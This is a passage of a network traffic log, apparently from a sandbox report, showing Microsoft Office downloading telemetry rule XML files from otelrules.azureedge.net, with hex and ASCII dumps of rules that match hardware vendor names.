2024-11-19 21:06:57 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:57 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:57 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210657Z-1777c6cb754ww792hC1TEBzqu400000008c000000000udvg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 21:06:57 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49755	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:57 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:57 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210657Z-r1d97b995777mdbwhC1TEBezag00000007tg00000000mc71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:57 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49756	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:57 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:57 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210657Z-1777c6cb754vxwc9hC1TEBykgw00000008n000000000bsg6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:57 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49757	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:57 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:57 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210657Z-1777c6cb7544n7p6hC1TEByvb400000008rg00000000f7xn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:57 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49758	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:57 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:57 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210657Z-1777c6cb754b7tdghC1TEBwwa400000008r000000000g5zw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:57 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49759	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:57 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:57 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:57 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210657Z-r1d97b995774zjnrhC1TEBv1ww00000007tg00000000gp33 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:57 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49760	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:57 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:57 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210657Z-r1d97b9957747b9jhC1TEBgyec00000007x000000000ng6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:58 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49761	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:57 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:58 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:57 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210657Z-1777c6cb754j47wfhC1TEB5wrw00000004bg00000000s5uc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:58 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49762	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:57 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:58 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210658Z-1777c6cb754b7tdghC1TEBwwa400000008tg000000008eaa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:58 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49763	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:58 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:58 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210658Z-1777c6cb7549j9hhhC1TEBzmcc00000008hg00000000by2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:58 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49764	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:58 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:58 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210658Z-r1d97b99577hc74hhC1TEBvbns00000007ng00000000par4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:58 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49765	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:58 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:58 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: c6b0c23f-801e-0048-738c-3af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210658Z-1777c6cb754ww792hC1TEBzqu400000008f000000000db9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:58 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R 